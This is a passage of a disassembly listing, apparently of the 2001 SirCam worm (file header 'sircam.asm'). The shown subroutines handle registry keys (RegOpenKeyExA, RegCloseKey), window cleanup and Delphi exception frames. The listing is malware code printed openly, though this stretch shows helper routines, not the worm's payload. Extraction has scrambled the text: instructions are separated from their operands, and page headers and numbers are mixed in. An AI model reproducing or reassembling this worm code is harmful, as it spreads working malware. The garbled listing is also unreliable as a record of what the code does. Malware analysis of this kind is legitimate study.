pop
pop
pop
retn
endp
edx, esi
ecx, [esp+0]
eax, ebx
sub_40E25C
edx
esi
ebx
loc_40E31A:
sub_40E2D0
404
; CODE XREF: sub_40E2D0+31\030j
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40E32C
proc near
sub_40E32C
push
mov
mov
mov
call
pop
retn
endp
; CODE XREF: sub_40E2C0+2\030p
; sub_40E2C8+2\030p ...
ecx
[esp+0], dl
edx, esp
ecx, 1
sub_40E25C
edx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40E340
proc near
; CODE XREF: sub_40E3D0+74\031p
cmp
ds:dword_41E640, 0
jz
short locret_40E35B
mov
eax, ds:dword_41E640
push
eax
call
j_DestroyWindow
xor
eax, eax
mov
ds:dword_41E640, eax
locret_40E35B:
sub_40E340
; CODE XREF: sub_40E340+7\030j
retn
endp
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40E35C
proc near
; CODE XREF: sub_40E3D0+31\031p
push
ebp
mov
ebp, esp
push
ebx
push
esi
push
edi
mov
eax, ds:dword_41E620
call
sub_40C4B0
mov
edi, eax
xor
eax, eax
push
ebp
push
offset loc_40E3B1
push
dword ptr fs:[eax]
mov
fs:[eax], esp
mov
ebx, [edi+8]
dec
ebx
sircam.asm
Fri Aug 10 12:42:44 2001
test
jl
inc
xor
ebx, ebx
short loc_40E399
ebx
esi, esi
mov
mov
call
call
inc
dec
jnz
edx, esi
eax, edi
sub_40C20C
sub_402BDC
esi
ebx
short loc_40E387
xor
pop
pop
pop
mov
push
; CODE XREF: sub_40E35C+26\030j
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_40E3B8
loc_40E387:
; CODE XREF: sub_40E35C+3B\031j
loc_40E399:
loc_40E3A6:
sub_40E35C
405
; CODE XREF: CODE:0040E3B6\031j
mov
eax, ds:dword_41E620
call
sub_40C514
retn
endp ; sp = -14h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40E3B1:
; DATA XREF: sub_40E35C+15\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_40E3A6
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40E3B8:
; DATA XREF: sub_40E35C+45\030o
mov
eax, ds:dword_41E620
call
sub_402BDC
pop
edi
pop
esi
pop
ebx
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
loc_40E3C8:
; DATA XREF: sub_40E3D0+8A\031o
; CODE:0040E49C\031o
call
sub_40BEA8
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40E3D0
proc near
; DATA XREF: CODE:0041A928\031o
push
ebp
mov
ebp, esp
xor
eax, eax
push
ebp
push
offset loc_40E47C
push
dword ptr fs:[eax]
mov
fs:[eax], esp
inc
ds:dword_41E614
jnz
loc_40E46E
mov
eax, ds:dword_41E4D4
call
sub_40BEA8
sircam.asm
Fri Aug 10 12:42:44 2001
406
mov
call
call
mov
call
mov
call
xor
xor
call
mov
call
xor
mov
call
mov
call
call
mov
call
xor
mov
mov
call
push
call
eax, ds:dword_41E610
sub_40A5A0
sub_40E35C
eax, ds:dword_41E618
sub_402BDC
eax, ds:dword_41E61C
sub_402BDC
edx, edx
eax, eax
sub_40DC7C
eax, ds:dword_41E624
sub_402BDC
eax, eax
ds:dword_41E624, eax
sub_4059F0
eax, [eax+8]
sub_402BDC
sub_40E340
eax, ds:dword_41E610
sub_402BDC
eax, eax
ds:dword_41E610, eax
eax, offset loc_40E3C8
sub_404A1C
offset unk_41E628
j_DeleteCriticalSection_0
xor
pop
pop
pop
mov
push
; CODE XREF: sub_40E3D0+17\030j
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_40E483
loc_40E46E:
locret_40E47B:
; CODE XREF: sub_40E3D0+B1\031j
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40E47C:
; DATA XREF: sub_40E3D0+6\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short locret_40E47B
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40E483:
sub_40E3D0
; CODE XREF: sub_40E3D0+AB\030j
; DATA XREF: sub_40E3D0+A6\030o
pop
ebp
retn
endp ; sp = -8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
byte_40E488
db 83h, 2Dh
; DATA XREF: CODE:0041A924\031o
dd offset dword_41E614
dd 68697301h
dd offset unk_41E628
dd 0FF7809E8h
db 0FFh, 0B8h
dd offset loc_40E3C8
dd 0FF656FE8h, 0A101B2FFh
dd offset off_406C1C
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
call
sub_40A4BC
mov
ds:dword_41E610, eax
mov
dl, 1
mov
eax, ds:off_40B920
call
sub_40C358
mov
ds:dword_41E618, eax
mov
dl, 1
sircam.asm
Fri Aug 10 12:42:44 2001
407
mov
eax, ds:off_40BB68
call
sub_402BAC
mov
ds:dword_41E61C, eax
mov
dl, 1
mov
eax, ds:off_40B920
call
sub_40C358
mov
ds:dword_41E620, eax
mov
dl, 1
mov
eax, ds:off_40B920
call
sub_40C358
mov
ds:dword_41E624, eax
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
dd 0FFFFFFFFh, 1
dword_40E504
dd 30h, 0FFFFFFFFh, 1, 31h ; DATA XREF: DATA:0041C2F0\031o
; DATA:0041C2F4\031o
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40E514
proc near
; DATA XREF: CODE:0041A930\031o
push
ebp
mov
ebp, esp
xor
eax, eax
push
ebp
push
offset loc_40E550
push
dword ptr fs:[eax]
mov
fs:[eax], esp
inc
ds:dword_41E644
jnz
short loc_40E542
mov
eax, offset off_41C2F0
mov
ecx, 2
mov
edx, ds:off_401000
call
sub_403BE8
loc_40E542:
xor
pop
pop
pop
mov
push
; CODE XREF: sub_40E514+17\030j
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_40E557
locret_40E54F:
; CODE XREF: sub_40E514+41\031j
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40E550:
; DATA XREF: sub_40E514+6\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short locret_40E54F
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40E557:
sub_40E514
; CODE XREF: sub_40E514+3B\030j
; DATA XREF: sub_40E514+36\030o
pop
ebp
retn
endp ; sp = -4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
loc_40E55C:
; DATA XREF: CODE:0041A92C\031o
sub
ds:dword_41E644, 1
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
off_40E564
dd offset dword_40E5B0 ; DATA XREF: sub_40E62C+19\031r
; sub_40EA08+4F\031r ...
sircam.asm
dword_40E5B0
off_40E5C4
dword_40E610
dword_40E622
Fri Aug 10 12:42:44 2001
408
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
7 dup(0)
offset dword_40E5B0
0Ch
offset off_4061F4
offset loc_402CA0
offset nullsub_2
offset nullsub_3
offset sub_402CB4
offset nullsub_4
offset loc_402B70
offset sub_402B84
offset sub_402BCC
65524512h, 74736967h, 78457972h, 74706563h, 906E6F69h
; DATA XREF: CODE:0040E564\030o
; CODE:0040E584\030o
dd offset dword_40E610 ; DATA XREF: sub_415EAC+49\031r
align 10h
dd offset dword_40E610
dd 4 dup(0)
dd offset dword_40E622
dd 1Ch
dd offset off_40100C
dd offset loc_402CA0
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_402CB4
dd offset nullsub_4
dd offset loc_402B70
dd offset sub_402B84
dd offset sub_40E708
dd 0Eh, 10000h
; DATA XREF: CODE:0040E5C4\030o
; CODE:0040E5D0\030o
db 2 dup(0)
dd offset off_401000
dd 10h
dd 65525409h, 74736967h ; DATA XREF: CODE:0040E5E4\030o
db 72h, 79h
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40E62C
proc near
; CODE XREF: sub_40E990+62\031p
var_8
var_4
= dword ptr -8
= byte ptr -4
sub_40E62C
push
ebx
add
esp, 0FFFFFFF8h
mov
ebx, eax
mov
[esp+8+var_8], ebx
mov
[esp+8+var_4], 0Bh
push
esp
push
0
mov
ecx, ds:off_41DB70
mov
dl, 1
mov
eax, ds:off_40E564
call
sub_409548
call
sub_402F98
pop
ecx
pop
edx
pop
ebx
retn
endp ; sp = -8
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40E658
proc near
push
ebx
; CODE XREF: sub_40E7C8+2F\031p
sircam.asm
Fri Aug 10 12:42:44 2001
409
mov
ebx, eax
test
ebx, ebx
jz
short loc_40E668
cmp
byte ptr [ebx], 5Ch
jnz
short loc_40E668
xor
eax, eax
pop
ebx
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40E668:
sub_40E658
; CODE XREF: sub_40E658+5\030j
; sub_40E658+A\030j
mov
pop
retn
endp
al, 1
ebx
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40E66C
proc near
; CODE XREF: sub_40EA08+13\031p
dec
al
jz
short loc_40E67E
dec
al
jz
short loc_40E684
dec
al
jz
short loc_40E68A
dec
al
jz
short loc_40E690
jmp
short loc_40E696
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40E67E:
; CODE XREF: sub_40E66C+2\030j
mov
eax, 1
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40E684:
; CODE XREF: sub_40E66C+6\030j
mov
eax, 2
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40E68A:
; CODE XREF: sub_40E66C+A\030j
mov
eax, 4
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40E690:
; CODE XREF: sub_40E66C+E\030j
mov
eax, 3
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40E696:
sub_40E66C
; CODE XREF: sub_40E66C+10\030j
xor
retn
endp
eax, eax
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40E69C
proc near
cmp
jnz
mov
retn
eax, 1
short loc_40E6A4
al, 1
; CODE XREF: sub_40E8EC+3F\031p
; sub_40EA70+5E\031p
sircam.asm
Fri Aug 10 12:42:44 2001
410
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40E6A4:
; CODE XREF: sub_40E69C+3\030j
cmp
eax, 2
jnz
short loc_40E6AD
mov
al, 2
jmp
short locret_40E6C1
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40E6AD:
; CODE XREF: sub_40E69C+B\030j
cmp
eax, 4
jnz
short loc_40E6B6
mov
al, 3
jmp
short locret_40E6C1
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40E6B6:
; CODE XREF: sub_40E69C+14\030j
cmp
eax, 3
jnz
short loc_40E6BF
mov
al, 4
jmp
short locret_40E6C1
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40E6BF:
; CODE XREF: sub_40E69C+1D\030j
xor
eax, eax
locret_40E6C1:
sub_40E69C
; CODE XREF: sub_40E69C+F\030j
; sub_40E69C+18\030j ...
retn
endp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40E6C4
proc near
; CODE XREF: sub_415EAC+4E\031p
push
ebx
push
esi
test
dl, dl
jz
short loc_40E6D2
add
esp, 0FFFFFFF0h
call
sub_402CDC
loc_40E6D2:
mov
mov
mov
mov
call
mov
mov
mov
test
jz
call
pop
add
; CODE XREF: sub_40E6C4+4\030j
ebx, edx
esi, eax
edx, 80000001h
eax, esi
sub_40E764
dword ptr [esi+18h], 0F003Fh
byte ptr [esi+0Ch], 1
eax, esi
bl, bl
short loc_40E702
sub_402D34
large dword ptr fs:0
esp, 0Ch
loc_40E702:
sub_40E6C4
; CODE XREF: sub_40E6C4+2D\030j
mov
pop
pop
retn
endp
eax, esi
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
sircam.asm
Fri Aug 10 12:42:44 2001
411
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40E708
proc near
; DATA XREF: CODE:0040E60C\030o
push
ebx
push
esi
call
sub_402D3C
mov
ebx, edx
mov
esi, eax
mov
eax, esi
call
sub_40E734
mov
edx, ebx
and
dl, 0FCh
mov
eax, esi
call
sub_402BCC
test
bl, bl
jle
short loc_40E731
mov
eax, esi
call
sub_402D2C
loc_40E731:
sub_40E708
; CODE XREF: sub_40E708+20\030j
pop
pop
retn
endp
esi
ebx
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40E734
proc near
; CODE XREF: sub_40E708+D\030p
; sub_40E764+22\031p ...
push
ebx
mov
ebx, eax
mov
eax, [ebx+4]
test
eax, eax
jz
short loc_40E75F
cmp
byte ptr [ebx+0Ch], 0
jz
short loc_40E74C
push
eax
call
j_RegCloseKey_0
jmp
short loc_40E752
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40E74C:
; CODE XREF: sub_40E734+E\030j
push
call
eax
j_RegFlushKey
xor
mov
lea
call
eax, eax
[ebx+4], eax
eax, [ebx+10h]
sub_4034C8
pop
retn
endp
ebx
loc_40E752:
; CODE XREF: sub_40E734+16\030j
loc_40E75F:
sub_40E734
; CODE XREF: sub_40E734+8\030j
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40E764
proc near
push
push
mov
ebx
esi
esi, edx
; CODE XREF: sub_40E6C4+19\030p
; sub_415EAC+61\031p ...
sircam.asm
Fri Aug 10 12:42:44 2001
mov
mov
cmp
jz
cmp
jz
push
call
mov
ebx, eax
eax, [ebx+8]
esi, eax
short loc_40E78B
byte ptr [ebx+14h], 0
short loc_40E781
eax
j_RegCloseKey_0
byte ptr [ebx+14h], 0
mov
mov
call
[ebx+8], esi
eax, ebx
sub_40E734
loc_40E781:
; CODE XREF: sub_40E764+11\030j
loc_40E78B:
sub_40E764
412
; CODE XREF: sub_40E764+B\030j
pop
esi
pop
ebx
retn
endp ; sp = -4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40E790
sub_40E790
proc near
push
ebx
push
esi
push
edi
mov
edi, ecx
mov
esi, edx
mov
ebx, eax
mov
eax, ebx
call
sub_40E734
mov
[ebx+4], esi
lea
eax, [ebx+10h]
mov
edx, edi
call
sub_40351C
pop
edi
pop
esi
pop
ebx
retn
endp
; CODE XREF: sub_40E7C8+EA\031p
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40E7B4
proc near
mov
test
jz
test
jnz
; CODE XREF: sub_40E7C8+74\031p
; sub_40E7C8+A8\031p
ecx, [eax+4]
ecx, ecx
short loc_40E7BF
dl, dl
short loc_40E7C3
loc_40E7BF:
; CODE XREF: sub_40E7B4+5\030j
mov
eax, [eax+8]
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40E7C3:
sub_40E7B4
; CODE XREF: sub_40E7B4+9\030j
mov
retn
endp
eax, ecx
sircam.asm
Fri Aug 10 12:42:44 2001
413
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40E7C8
proc near
var_10
var_C
var_8
var_2
var_1
=
=
=
=
=
; CODE XREF: sub_415EAC+8E\031p
byte ptr -10h
dword ptr -0Ch
dword ptr -8
byte ptr -2
byte ptr -1
push
mov
add
push
push
xor
mov
mov
mov
mov
xor
push
push
push
mov
lea
mov
call
mov
call
mov
test
jnz
lea
mov
mov
call
ebp
ebp, esp
esp, 0FFFFFFF0h
ebx
esi
ebx, ebx
[ebp+var_C], ebx
[ebp+var_1], cl
ebx, edx
esi, eax
eax, eax
ebp
offset loc_40E8CD
dword ptr fs:[eax]
fs:[eax], esp
eax, [ebp+var_C]
edx, ebx
sub_403560
eax, [ebp+var_C]
sub_40E658
ebx, eax
bl, bl
short loc_40E814
eax, [ebp+var_C]
ecx, 1
edx, 1
sub_40396C
xor
mov
cmp
jz
cmp
jnz
eax, eax
[ebp+var_8], eax
[ebp+var_1], 0
short loc_40E825
[ebp+var_C], 0
short loc_40E84F
loc_40E814:
loc_40E825:
; CODE XREF: sub_40E7C8+38\030j
; CODE XREF: sub_40E7C8+55\030j
lea
eax, [ebp+var_8]
push
eax
mov
eax, [esi+18h]
push
eax
push
0
mov
eax, [ebp+var_C]
call
sub_4038E8
push
eax
mov
edx, ebx
mov
eax, esi
call
sub_40E7B4
push
eax
call
j_RegOpenKeyExA_0
test
eax, eax
setz
[ebp+var_2]
jmp
short loc_40E881
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
sircam.asm
Fri Aug 10 12:42:44 2001
